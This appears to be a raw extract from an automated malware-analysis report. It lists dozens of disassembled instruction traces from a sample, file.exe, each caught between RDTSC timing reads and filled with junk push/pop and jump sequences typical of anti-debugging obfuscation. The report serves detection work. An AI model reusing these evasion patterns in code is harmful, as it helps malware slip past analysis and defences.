Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258CC5 second address: 1258D16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F39A52A2E58h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 lea eax, dword ptr [ebp+124895D4h] 0x0000002b mov dword ptr [ebp+122D1D71h], ecx 0x00000031 jl 00007F39A52A2E5Ch 0x00000037 mov edx, dword ptr [ebp+122D3B1Eh] 0x0000003d nop 0x0000003e pushad 0x0000003f jng 00007F39A52A2E5Ch 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258D16 second address: 1240B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F39A52A77CCh 0x0000000a popad 0x0000000b push eax 0x0000000c jnc 00007F39A52A77DCh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F39A52A77C8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D17EDh], esi 0x00000033 call dword ptr [ebp+1245B534h] 0x00000039 jng 00007F39A52A77EEh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240B85 second address: 1240B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E5Ch 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240B99 second address: 1240B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EA4D second address: 121EA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edx 0x00000007 ja 00007F39A52A2E56h 0x0000000d jns 00007F39A52A2E56h 0x00000013 pop edx 0x00000014 pushad 0x00000015 jne 00007F39A52A2E56h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B436 second address: 128B43A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B43A second address: 128B440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B58D second address: 128B5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F39A52A77C6h 0x0000000c popad 0x0000000d jmp 00007F39A52A77D8h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B5B6 second address: 128B5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B717 second address: 128B720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BB3C second address: 128BB5E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F39A52A2E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39A52A2E5Ah 0x00000013 jmp 00007F39A52A2E5Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BB5E second address: 128BB62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BB62 second address: 128BB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E68h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BB84 second address: 128BB8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F39A52A77C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211070 second address: 1211076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211076 second address: 121107C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121107C second address: 1211087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291645 second address: 1291651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291651 second address: 1291657 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291657 second address: 129165D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291913 second address: 129193F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jp 00007F39A52A2E56h 0x0000000b jg 00007F39A52A2E56h 0x00000011 jmp 00007F39A52A2E69h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291BD7 second address: 1291BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291D24 second address: 1291D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 jmp 00007F39A52A2E5Ah 0x0000000b pushad 0x0000000c jo 00007F39A52A2E56h 0x00000012 jne 00007F39A52A2E56h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129138E second address: 129139A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnl 00007F39A52A77C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291FF4 second address: 1291FFE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129217D second address: 1292190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F39A52A77CEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292190 second address: 12921B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007F39A52A2E56h 0x0000000b jc 00007F39A52A2E56h 0x00000011 jmp 00007F39A52A2E5Dh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12921B1 second address: 12921CC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39A52A77CEh 0x00000008 pushad 0x00000009 jno 00007F39A52A77C6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292312 second address: 1292316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292316 second address: 1292323 instructions: 0x00000000 rdtsc 0x00000002 js 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292633 second address: 1292637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299BAC second address: 1299BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F39A52A77D4h 0x00000011 jmp 00007F39A52A77D1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299BE7 second address: 1299C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F39A52A2E56h 0x0000000c jo 00007F39A52A2E56h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F39A52A2E56h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299C04 second address: 1299C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12985FB second address: 1298607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F39A52A2E5Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298607 second address: 129860D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129860D second address: 1298612 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298612 second address: 129861B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129861B second address: 129861F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298BEB second address: 1298BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298BF1 second address: 1298BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298BF8 second address: 1298BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298BFE second address: 1298C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298D2A second address: 1298D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77CCh 0x00000007 ja 00007F39A52A77C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F39A52A77CEh 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298D53 second address: 1298D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298FD5 second address: 1298FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77CBh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298FE9 second address: 1298FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298FED second address: 1299007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129914A second address: 1299150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299150 second address: 1299154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12992D2 second address: 12992E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39A52A2E5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129943F second address: 1299445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299445 second address: 1299451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F39A52A2E56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299451 second address: 1299460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F39A52A77CEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299598 second address: 129959C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129959C second address: 12995CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39A52A77D3h 0x0000000b pop edx 0x0000000c jng 00007F39A52A77E6h 0x00000012 jnc 00007F39A52A77C8h 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F39A52A77C6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12995CC second address: 12995D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F39A52A2E56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12982AF second address: 12982BF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F39A52A77C6h 0x00000008 jns 00007F39A52A77C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DA3B second address: 129DA6A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39A52A2E71h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F39A52A2E58h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DA6A second address: 129DA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DA70 second address: 129DA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0DFD second address: 12A0E07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0E07 second address: 12A0E10 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0E10 second address: 12A0E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2469 second address: 12A2498 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F39A52A2E5Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F39A52A2E65h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217D53 second address: 1217D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4FD8 second address: 12A4FFB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F39A52A2E56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F39A52A2E67h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5151 second address: 12A5179 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F39A52A77D8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A746C second address: 12A7476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7476 second address: 12A7498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F39A52A77C6h 0x0000000a jmp 00007F39A52A77CBh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F39A52A77CAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC06 second address: 12AEC24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F39A52A2E5Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC24 second address: 12AEC2E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F39A52A77CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC2E second address: 12AEC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC35 second address: 12AEC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEDBD second address: 12AEDCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39A52A2E5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF0D0 second address: 12AF11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77CAh 0x00000009 jmp 00007F39A52A77D3h 0x0000000e popad 0x0000000f jmp 00007F39A52A77D6h 0x00000014 popad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F39A52A77CDh 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585C9 second address: 12585D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585D2 second address: 1258625 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F39A52A77C8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 sbb di, 5528h 0x0000002b mov edx, edi 0x0000002d mov ebx, dword ptr [ebp+12489613h] 0x00000033 mov cx, 9DCDh 0x00000037 add eax, ebx 0x00000039 mov edx, dword ptr [ebp+122D39A2h] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F39A52A77CAh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258625 second address: 125862A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125862A second address: 125865F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f movsx ecx, si 0x00000012 push 00000004h 0x00000014 mov ecx, 3DCED542h 0x00000019 mov dword ptr [ebp+122D2708h], ebx 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF5E9 second address: 12AF617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E66h 0x00000007 jmp 00007F39A52A2E5Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B38F3 second address: 12B38F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B38F7 second address: 12B3917 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F39A52A2E64h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B720A second address: 12B720E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6A2B second address: 12B6A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6BA0 second address: 12B6BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6BA6 second address: 12B6BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E62h 0x00000009 jmp 00007F39A52A2E69h 0x0000000e popad 0x0000000f pushad 0x00000010 jns 00007F39A52A2E56h 0x00000016 jp 00007F39A52A2E56h 0x0000001c popad 0x0000001d push edi 0x0000001e jl 00007F39A52A2E56h 0x00000024 jg 00007F39A52A2E56h 0x0000002a pop edi 0x0000002b jbe 00007F39A52A2E5Eh 0x00000031 push edi 0x00000032 pop edi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF59A second address: 12BF5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF5A0 second address: 12BF5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 js 00007F39A52A2E56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD6F6 second address: 12BD6FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD8B8 second address: 12BD8D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F39A52A2E5Dh 0x00000011 rdtsc
